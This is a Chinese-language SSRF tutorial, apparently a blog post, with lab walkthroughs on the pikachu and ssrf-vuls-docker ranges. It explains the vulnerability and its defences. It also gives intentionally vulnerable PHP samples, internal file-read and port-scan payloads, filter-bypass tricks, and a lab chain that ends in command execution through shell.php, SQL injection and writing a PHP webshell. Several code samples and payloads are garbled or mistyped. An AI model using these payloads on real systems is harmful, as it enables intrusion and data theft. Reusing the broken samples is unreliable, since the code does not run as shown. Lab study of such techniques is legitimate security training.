文章目录:
一:前言
1.定义
2.原理
3.危害
4.产生的原因
5.用途
6.漏洞出现位置
7.防御方法
8.CSRF 和 XSS 和 XXE 和SSRF的么区别
9.相关危险函数
file_get_contents()函数
fsockopen()函数
curl_exec()函数
SoapClient()类
10.环境
10.1 靶场
10.2 工具
二:ssrf漏洞利用协议
file协议:查找内网存活主机ip
dict协议:查找内网主机开放端口
http/https协议:目录扫描
gopher协议
三:绕过方法
1.更改IP地址利用进制绕过
2.@符号绕过
3.点分割符号替换
4.localhost替换绕过
5.xip.io绕过
6.302跳转临时重定向绕过
7.DNS重绑定攻击
四:pikachu靶场练习
第1关 SSRF(curl)
第2关 SSRF(file_get_content)
五:ssrf-vuls-docker靶场练习
一:前言
1.定义
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时 利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网 SSRF攻击通常针对外部网络无法直接访问的内部系统
示例:存在SSRF漏洞代码
<?phperror_reporting(0);highlight_file(_FILE_)$url=$_POST['ur'];//初始化cur对象$ch=curl_init($url);//设置URL和相应的选项curl_setopt($ch, CURLOPT_HEADER, O);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1)//执行URL之后把结果传回给浏览器:在输出之前没有做对应的检查直接输出,没有做对应的过滤和清洗消毒(参数注入)$result=curl_exec($ch);//关闭cURL资源,释放系统资源curl_close($ch)echo($result); ?>
2.原理
攻击者通过控制内网一台服务器进而攻击在同一内网的其他的服务器 服务器提供:从其他服务器应用获取数据的功能,而没有对目标地址做过滤和限制
3.危害
读取本地文件钓鱼邮件对外网、服务器所在内网、本地进行端口、资产探测、指纹识别配合其它漏洞攻击内网其它机器DOS攻击
4.产生的原因
服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站我们普通用户只可以访问A网站,不能访问B网站但是我们可以同过A网站做中间人,访问B网站,从而达到攻击B网站需求简而言之: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源
5.用途
1.可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务器的banner(指纹信息)信息2.攻击运行在内网或本地的应用程序(比如溢出)3.对内网的web进行指纹识别,通过访问默认文件实现4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2 sqli等)5.利用file协议读取主机本地敏感数据文件6.内外网主机应用程序漏洞的利用、web站点漏洞的利用
6.漏洞出现位置
可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞在页面源码中查找访问的资源地址,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞
所有调外部资源的参数 / 对外发起网络请求的地方都有可能存在ssrf漏洞
从WEB功能上寻找社交分享功能:获取超链接的标题等内容进行显示转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览在线翻译:给网址翻译对应网页的内容图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作数据库内置功能:数据库的比如mongodb的copyDatabase函数邮件系统:比如接收邮件服务器地址编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等未公开的api实现以及其他扩展调用URL的功能:可以利用go0gle语法加上这些关键字去寻找SSRF漏洞。一些的ur1中的关键字从远程服务器请求资源:upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php从URL关键字中寻找(inurl:)sharewapurllinksrcsourcetargetu3gdisplaysourceURlimageURLdomain...
7.防御方法
1.在URL中过滤掉内网IP段,最佳策略还是开启白名单,只允许必要的地址访问比如10.0.0.8/24、172.16.0.0/16、192.168.0.0/16、localhost等2.过滤掉不常用但是有危险的协议file:// dict:// gopher:// ftp:// http:// https:// php://等3.对返回内容进行识别、过滤,避免返回非预期的页面内容4.对报错信息统一规划,避免根据错误信息来判断远程服务器的端口状态5.在内部横向访问流量进行二次认证6.限制请求的端口为http常用的端口,比如 80、443、8080、8090
8.CSRF 和 XSS 和 XXE 和SSRF的么区别
CSRF(跨站请求伪造)定义:CSRF是一种攻击者诱导受害者在已登录的Web应用程序上执行非本意操作的攻击方法。攻击者通过构造恶意请求,利用受害者的Cookie信息,以受害者的身份向服务器发送请求原理:服务器端没有对用户提交的数据进行随机值校验,且对HTTP请求包内的Referer字段校验不严,导致攻击者可以伪造用户请求影响:CSRF能够执行的操作包括以受害者名义发送邮件、发消息、盗取账号、购买商品、虚拟货币转账等防御方法:验证HTTP Referer字段在HTTP请求中加入随机产生的Token,并在服务器端验证使用HTTPS协议,增加攻击难度XSS(跨站脚本)定义:XSS是一种将恶意Script代码注入到Web页面中,当用户浏览该页面时,嵌入的Script代码会被执行,从而达到攻击用户的目的原理:服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染页面时执行了恶意脚本类型:主要包括反射型XSS、存储型XSS和DOM型XSS。影响:攻击者可以利用XSS漏洞窃取用户Cookie、会话令牌、网站内容、重定向用户到恶意网站等防御方法:对用户输入进行严格的过滤和转义设置合适的Content-Security-Policy,减少XSS攻击的风险使用HTTP Only Cookie,防止JavaScript读取CookieXXE(外部实体注入)定义:XXE是针对应用程序解析XML输入类型的攻击,当XML输入包含对外部实体的引用,且被弱配置的XML解析器处理时,就可能发生XXE攻击原理:攻击者通过构造恶意的XML数据,利用XML解析器的外部实体解析功能,读取本地文件、发起SSRF攻击、执行远程代码等影响:XXE攻击可能导致敏感信息泄露、服务拒绝、数据篡改等严重后果防御方法:禁用XML解析器的外部实体解析功能对XML输入进行严格的过滤和验证使用安全的XML库和解析器SSRF(服务端请求伪造)定义:SSRF是一种攻击者通过构造请求,利用服务器的功能作为代理来发送恶意请求至第三方服务器或内部资源的攻击方法原理:服务器对用户提供的可控URL过于信任,没有对URL进行严格的过滤和检测,导致攻击者可以构造恶意请求访问内部资源或发起对其他服务器的攻击影响:SSRF攻击可能导致内网资源泄露、服务拒绝、数据篡改等严重后果防御方法:对用户提供的URL进行严格的过滤和检测设置URL白名单,只允许访问受信任的外部资源禁用服务器不必要的代理功能
9.相关危险函数
PHPfile_get_contents()fsockopen()curl_exec()Pythonpycurlurllib/urllib2requests
file_get_contents()函数
将文件的内容读取入到一个字符串中
<?php$url=$_GET['url'];echo file_get_contents($url); ?>
fsockopen()函数
打开一个网络连接或者一个Unix套接字连接
<?php$host=$_GET['url'];$fp =fsockopen($host,80,$errno,$errstr,30);if(!$fp){echo "$errstr($errno)<br />\n";}else {$out ="GET / HTTP/1.1\r\n";$out .="Host: $host\r\n";$out .="Connection: close\r\n\r\n";fwrite($fp, $out);while(!feof($fp)){echo fgets($fp,128);}fclose($fp);} ?>
curl_exec()函数
执行一个curl会话
<?phpif(isset($_GET['url'])){$link = $_GET['url'];$curlobj=curl_init(); //创建新的 CURL 资源curl_setopt($curlobj, CURLOPT_POST,0);curl_setopt($curlobj,CURLOPT_URL,$link);curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,1); //设置 URL 和相应的选项$result=curl_exec($curlobj); //抓取URL 并把它传递给浏览器curl_close($curlobj); //关闭CURL 资源,并且释放系统资源//$filename ='./curled/'.rand().'.txt';// file put contents($filename, $result);echo $result;} >
SoapClient()类
为SOAP1.1,1.2服务器提供客户端。它可以在WSDL或非WSDL模式下使用
// ssrf.php <?php$a = new Soapclient(null,array('uri'=>'http://47.xxx.xxx.72:2333','location'=>'http://47.xx))$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法,触发_ca11方法进行ssrf ?>
10.环境
10.1 靶场
ssrf-vulslianx-docker靶场:用于进行安全研究和教育的 Docker 容器,它模拟了一个可能受到服务端请求伪造(SSRF)攻击的环境
pikachu靶场:带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞
10.2 工具
Docker
docker load --input xx.tar
二:ssrf漏洞利用协议
现在服务器上有一个ssrf.php的页面,该页面的功能是获取URL参数,然后将URL的内容显示到网页页面上#ssrf.php<?phpfunction curl($url){//curl就是模拟浏览器请求。比如获取远程的网页$ch=curl_init(); //初始化一个url会话curl_setopt($ch,CURLOPT_URL,$url); //设置抓取的urlcurl_setopt($ch,CURLOPT_HEADER,0); //设置headercurl_exec($ch); //运行curl请求网页curl_close($ch); //关闭curl会话}$url=$_GET['url']; //从浏览器中传入地址curl($url); //传入url函数中?>#程序获取url参数,通过curl_init()初始化curl组件后,将参数URL带入curl_setopt($ch,CURLOPT_URL,$url)然后调用curl_exec请求该URL。由于服务器端会将banner信息返回给客户端,所以可根据banner判断主机是否存在某些服务
File:// 访问本地文件系统 http:// 访问HTTP(s)网址 dict:// 远程访问一个指定的tcp端口ftp:// 访问FTP(s)URLS sftp:// SSH文件传输协议或安全文件传输协议tftp:// 简单文件传输协议ldap:// 轻量级目录访问协议php:// 访问各个输入/输出流(I/o streams) zlib:// 压缩流 data:// 数据(RFC2397) ssh2:// Secure Shell 2 expect:// 处理交互式的流 glob:// 查找匹配的文件路径模式 gopher协议:分布式文档传输协议万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了基本协议格式:URL:gopher://<host>:<port>/<gopher-path>gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色
file协议:查找内网存活主机ip
本地文件传输协议,可以用来读取任意系统文件
如果服务器端对请求资源所使用的协议方式没有进行限制,那么就可以通过们filee协议访问当前服务器的本地文件http://192.168.11.135/ssrf.php?url=file:///etc/passwdfie:// 从文件系统中获取文件内容,格式为 fie://[文件路径]file:///etc/passwd 读取文件passwdfile:///etc/hosts 显示当前操作系统网卡的IPfile:///proc/net/arp 显示arp缓存表(寻找内网其他主机)file:///proc/net/fib_trie 显示当前网段路由信息
dict协议:查找内网主机开放端口
字典服务器协议:可用于扫描端口、获取内网信息、爆破密码等
通过dict字典服务器协议可以远程访问一个指定的tcp端口,并且会返回端口所提供的服务的部分组件信息访问字段资源:如dict://ip:6739/info:dict://+ip:端口+/TCP/IP/ 数据dict://172.250.250.1dict://172.250.250.10:6379/info通过差异对比,可确认内网端口开放情况当目标端口开放(有服务信息显示,但会报错):http://192.168.11.135/ssrf.php?url=dict://localhost:80当目标端口关闭(无任何显示)http://192.168.11.135/ssrf.php?url=dict://localhost:8080
http/https协议:目录扫描
可以用来验证是否存在SSRF漏洞,探测端口以及服务
当前应用获取用户传递过来的url参数后端发送请求,并且将最终的请求结果返回到html前端页面http://192.168.11.135/ssrf.php?url=http://www.baidu.comhttp://192.168.11.135/ssrf.php?url=https://www.baidu.com当前网站页面返回的内容并非是从当前用户pc端浏览器发送的,而是,服务器端接收到客户端传递过来的ur1参数,然后在后端服务器代码中通过构造请求发送,最终将结果返回到前端如果在这里用户传递的是一个内网应用的ip,当前返回的结果192.168.10.1 为网关http://192.168.11.135/ssrf.php?url=http://192.168.10.1http://192.168.11.135/ssrf.php?url=http://192.168.10.1/shell.phphttp://192.168.11.135/ssrf.php?url=http://192.168.10.1/$1$.php burp工具ssrf漏洞服务器所在的内网大小,互通的网段,限制了当前能够获取到资源的数量 如果当前服务器端对请求资源的协议做了限制,那么可以通过 https 协议进行绕过
gopher协议
互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell
Gopher协议是HTTP协议出现之前,在Internet上常见且常用的一个协议。现在 Gopher 协议已经慢慢淡出历史 可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行GET、POST请求、利用gopher协议getshell、使用ssrf漏洞结合gopher协议攻击内网redisURL:gopher://<host>:<port>/<gopher-path> <TCP数据流>需要注意的是gopher的默认端口是70如果发起post请求,回车换行需要使用%0d%0a,以及&?等符号也需要进行URL编码Gopher请求不转发第一个字符curl gopher://127.0.0.1:7777/abcd bcdcurl gopher://127.0.0.1:7777/_abcd abcd
GET提交GET/name.php?name=benben HTTP/1.1Host:172.250.250.4第一种方法:直接输入(注意间隔和回车换行) gopher://172.250.250.4:80/_GET%20/name.php%3fame=benben%20HTTP/1.1%0d%0AHot:%20172.250.250.4%0d%0A 注意添加端口号80和填充位_get提交最后需要增加一个换行符URL编码空格 %20问号 %3f换行符 %0d%0A第二种方法:利用Burp工具进行两次编码Convert selection——>url——>URL--encode key characters1.gopher://172.250.250.4:80/_提交,用burp工具拦截,粘贴下面代码GET/name.php?name=benben HTTP/1.1Host:172.250.250.42.利用Burp工具进行两次编码POST提交:利用Burp工具进行两次编码POST/name.php HTTP/1.1Host: 172.250.250.4Content-Type: application/x-www-form-urlencodedContent-Length:15name=benben2222
三:绕过方法
1.更改IP地址利用进制绕过
例如http://192.168.0.1这个IP地址可以被改写成
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏对于这种过滤我们采用改编IP的写法的方式进行绕过:IP中的每一位,各个进制可以混用8进制格式:http://0300.0250.0.116进制格式:http://0xC0.0xA8.0.110进制整数格式:http://323223552116进制整数格式:http://0xC0A80001合并后两位:http://1.1.278 / 1.1.755合并后三位:http://1.278 / 1.755 / 3.14159267
2.@符号绕过
把域名拼接上去,加@符号
http://www.baidu.com@10.10.10.10 与http://10.10.10.10请求是相同的
3.点分割符号替换
在浏览器中可以使用不同的分割符号来代替域名中的.分割, 可以使用代替 。 、 ?、 · %2e //http://www。github。com
4.localhost替换绕过
localhost可以用[::1]或127.0.0.1的编码形式代替
5.xip.io绕过
http://xxx.192.168.0.1.xip.io/ == http://192.168.0.1(xxx 任意)
6.302跳转临时重定向绕过
当服务器收到这个请求时,它返回一个302重定向响应,将浏览器重定向到目标内网地址
302重定向绕过通常指的是在Web开发中,通过某种方式绕过服务器设置的302临时重定向,直接访问目标资源HTTP/1.1 302 Found Location: http://127.0.0.1/flag.php<?php header(' Location: http://127.0.0.1/flag.php');?>场景描述假设你正在开发一个Web应用,该应用部署在本地服务器上,并且你希望通过一个公网可访问的域名来调试这个应用然而,由于安全策略的限制,直接访问内网本地服务器的IP地址或端口号(如http://192.168.1.100:8080)是不被允许的此时,你可以设置一个公网服务器,通过302重定向的方式绕过这个限制 实现步骤设置公网服务器:首先,你需要有一个公网可访问的服务器,比如一个云服务器。在这个服务器上,你可以部署一个简单的Web服务,用于处理重定向请求编写重定向代码:示例代码(Node.js + Express)const express = require('express'); const app = express(); const port = 3000; app.get('/redirect', (req, res) => { const redirectUrl = req.query.url; // 假设通过查询参数传递目标URL if (redirectUrl) { res.redirect(302, redirectUrl); // 302重定向到目标URL } else { res.status(400).send('Missing redirect URL'); } }); app.listen(port, () => { console.log(`Server running on port ${port}`); });在这个例子中,当访问http://your-public-server.com/redirect?url=http://192.168.1.100:8080/your-page时服务器会返回一个302重定向响应,告诉浏览器去访问http://192.168.1.100:8080/your-page配置和使用:将上述代码部署到你的公网服务器上,并确保服务器正在运行在需要调试或绕过安全策略的场景中,使用上述重定向URL来访问你的本地服务器资源
7.DNS重绑定攻击
rbndr.us dns rebinding service
攻击原理:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip,达到突破同源策略或过waf进行ssrf的目的对同一个域名设置两个A记录(一个内网、一个外网),这样会random访问两条记录中的一个 这样就会变成有概率的成功,不是完全成功而已私网:127.0.0.1公网:183.190.123.72利用网站生成:7f000001.b7be7b48.rbndr.us最终:http://7f000001.b7be7b48.rbndr.us/flag.php
四:pikachu靶场练习
第1关 SSRF(curl)
原地址:http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php
查看是否存在漏洞:出现百度搜索的特征,说明存在漏洞
http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
file协议查看本地文件
http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/win.ini
ftp协议查看服务器上的文件
http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=ftp://ele:ele@192.168.101.14/1.txt
dict协议扫描内网主机开放端口
用burpsuite的intruder模块来扫描192.168.101.14上的开放端口 netstat -anohttp://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.101.14:21
第2关 SSRF(file_get_content)
原地址:http://192.168.101.16/pikachu/vul/ssrf/ssrf_fgc.php
file协议查看本地文件
http://192.168.101.16/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///c:/windows/win.ini
php://filter/读php源代码
http://192.168.101.16/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../rce/rce.php
http协议请求内网资源
http://192.168.101.16/pikachu/vul/ssrf/ssrf_fgc.php?file=http://192.168.101.14/1.txt
五:ssrf-vuls-docker靶场练习
http://192.168.50.243:8080
第一步(file查找内网存活主机ip):判断 SSRF 是否存在:查看有没有对应的信息 https://www.baidu.com/robots.txtfile:///etx/passwd //获取内网信息file:///etx/hosts //获取主机名查询静态表file:///proc/net/arp //查看arp缓存列表第二步(dict查找内网主机开放端口):探测内网端口dict:///127.0.0.1:80 //使用Burp进行爆破dict:///127.0.0.1:3306dict:///10.10.10.1:22第三步(http目录扫描):内网目录爆破http://172.72.23.22:80/shell.php //使用Burp进行爆破 phpinfo.php index.php shell.php webshell.php第四步:敏感信息泄漏http://172.72.23.22:80/phpinfo.php第五步:代码注入http://172.72.23.22:80/shel.php?cmd=ls%20-al //ls列出目录内容 a所有 l以长格式显示信息http://172.72.23.22:80/shell.php?cmd=idhttp://172.72.23.22:80/shell.php?cmd=cat%20/etc/hosts第六步:SQL注入http://172.72.23.23:80?id=1http://172.72.23.23/?id=1' and 1=2 union select version(),user(),3,database()http: //172.72.23.23?id=1'%2520and$25201=2%2520union$2520select$2520version(),user(),3,database( )%20--%20如果是两次url编码那么空格会变成%2520第七步:写入一个webshellhttp://172.72.23.23:80/?id=-1'%20union%20select%select%20123'<?php%20system($_GET[1])?>'%20INTO%20DUMPFILE%20'/var/www/html/shell.php'--+